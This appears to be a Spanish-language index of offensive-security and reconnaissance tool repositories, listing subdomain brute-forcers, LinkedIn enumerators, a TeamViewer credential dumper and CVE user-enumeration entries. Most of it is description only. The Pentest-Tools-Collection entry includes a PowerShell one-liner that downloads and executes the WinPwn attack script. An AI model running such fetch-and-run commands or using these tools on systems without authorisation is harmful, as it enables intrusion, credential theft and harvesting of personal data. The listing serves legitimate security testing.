maswe

OWASP Mobile Application Security Weakness Enumeration MASWE La OWASP Mobile Application Security Weakness Enumeration MASWE es una lista de debilidades comunes de seguridad y privacidad en aplicaciones móviles. Está pensada para usarse como referencia para desarrolladores, investigadores de...

gOSINT

gOSINT Codacy Badge Navaja suiza OSINT en Go Echa un vistazo a la rama develop para más actualizaciones. Introducción gOSINT es una navaja suiza OSINT multiplataforma en Golang. Si quieres, siéntete libre de contribuir y/o dejar comentarios. ¿Te gusta mi proyecto? ¡Por favor considera donar : Lo...

InSpy

InSpy ⛔ OBSOLETO. Este repositorio ya no se mantiene. Introducción InSpy es una herramienta de enumeración de LinkedIn basada en Python. La versión 3.0 introduce la automatización de la recuperación de dominios y correos electrónicos, además de cabeceras aleatorias y soporte de salida XML...

waldo

Waldo es una herramienta ligera y multihilo de fuerza bruta para directorios y subdominios implementada en Python. Se puede utilizar para localizar recursos web ocultos y subdominios no descubiertos del objetivo especificado. Características Principales Genera rápida y fácilmente una lista de tod...

Findomain

Findomain La solución completa para el reconocimiento de dominios. Soporta captura de pantallas, escaneo de puertos, importación de datos de otras herramientas, monitoreo de subdominios y más. Recibe alertas sobre tus hallazgos a través de servicios como Discord, Slack y Telegram. Múltiples clave...

TeamViewer-dumper-in-CPP

TeamViewer-dumper-in-CPP Vuelca el ID, la contraseña y la configuración de la cuenta de TeamViewer desde una instancia de TeamViewer en ejecución mediante la enumeración de ventanas hijas. Compilación y requisitos 1. Compilar con CL 2. cl TeamViewerDump.cpp 3. o con cl TeamViewerDump.cpp /EHsc 4...

Spoofy

Spoofy QUÉ Spoofy es un programa que comprueba si una lista de dominios puede ser suplantada en función de los registros SPF y DMARC. Quizás te estés preguntando: "¿Por qué necesitamos otra herramienta que pueda comprobar si un dominio puede ser suplantado?" Bueno, Spoofy es diferente y he aquí p...

cloud_enum

cloudenum Futuro de cloudenum Construí esta herramienta en 2019 para una prueba de penetración que involucraba Azure, ya que en ese momento ninguna otra herramienta de enumeración lo soportaba. Creció a partir de ahí y aprendí mucho mientras añadía funcionalidades. Construir herramientas es...

cve-2018-15473

CVE-2018-15473 OpenSSH hasta la versión 7.7 es propenso a una vulnerabilidad de enumeración de usuarios debido a que no retrasa la salida para un usuario de autenticación inválido hasta que el paquete que contiene la solicitud haya sido completamente analizado, relacionado con auth2-gss.c,...

subscraper

SubScraper Resumen :smallbluediamond: Uso :smallbluediamond: Contribuir SubScraper es una herramienta de enumeración de subdominios que utiliza diversas técnicas para encontrar subdominios de un objetivo dado. La enumeración de subdominios es especialmente útil durante pruebas de penetración y ca...

Reconator

Reconator es un framework automatizado de reconocimiento. Añade un objetivo — solo o en lote — y el trabajador ejecuta 17 módulos de reconocimiento contra él enumeración de subdominios, dirbrute, minería de JS/enlaces, huella de WAF, verificación de takeover, triaje GF, y más. El panel muestra la...

rengine

reNgine: La Suite Definitiva de Reconocimiento Web y Escáner de Vulnerabilidades 🚀 ¡reNgine 2.2.0 ha sido publicado! reNgine 2.2.0 incluye bounty hub, donde puedes sincronizar e importar tus programas de hackerone, notificaciones en la aplicación, chaos como herramienta de enumeración de...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

SCANNER-INURLBR

Descripción Búsqueda avanzada en motores de búsqueda, permite el análisis proporcionado para explotar GET / POST capturando correos electrónicos y urls, con una unión de validación personalizada interna para cada objetivo / url encontrada. Una herramienta PHP que puede ejecutarse en diferentes...

bugbounty_tools

bugbountytools Colección de scripts y herramientas utilizados durante el trabajo de bug bounty. Este será el lugar donde se encuentren mis scripts de automatización creados para mi uso personal, y ocasionalmente publicados de forma pública Contacto: Para preguntas, comentarios o solicitudes,...

BruteConda

Si esto te ha ayudado, quizás puedas ayudarme patrocinándome, lo que me ayudará a crear mejores "herramientas de código abierto" BruteConda ¡Una herramienta de fuerza bruta de directorios que hace tu vida más fácil! ¿Por qué solo BruteConda? Rápida y eficiente Fácil de usar Amigable con el usuari...

CrossLinked

CrossLinked CrossLinked es una herramienta de enumeración de LinkedIn que utiliza el scraping de motores de búsqueda para recolectar nombres de empleados válidos de una organización. Esta técnica proporciona resultados precisos sin necesidad de usar claves de API, credenciales o acceder...

CVE-2022-23342

CVE-2022-23342 Aviso de seguridad – Enumeración de nombres de usuario en OnBase Versiones y compilaciones de software afectadas: OnBase Application Server Las versiones de OnBase anteriores a 20.3.58.1000 y las versiones de OnBase desde 21.1.1.1000 hasta 21.1.15.1000 están afectadas. Versiones y...

webstor

WebStor Identificación rápida de tecnologías web vulnerables en su organización WebStor es una herramienta implementada en Python bajo la licencia MIT para enumerar rápidamente todos los sitios web en todas las redes de su organización, almacenar sus respuestas y consultar tecnologías web y...

ActiveDirectoryEnumeration

ADE - ActiveDirectoryEnum root@kitploit: python -m ade usage: ade -h --dc DC -o OUTFILE -u USER -s -smb -kp -bh -spn -sysvol --all --no-creds --dry-run --exploit EXPLOIT / | / / / \ / / / / / /| |/ / / / | / / / / / / / / / / / / / / / / / / / / / / \ / / // // /| |/ / / // / /...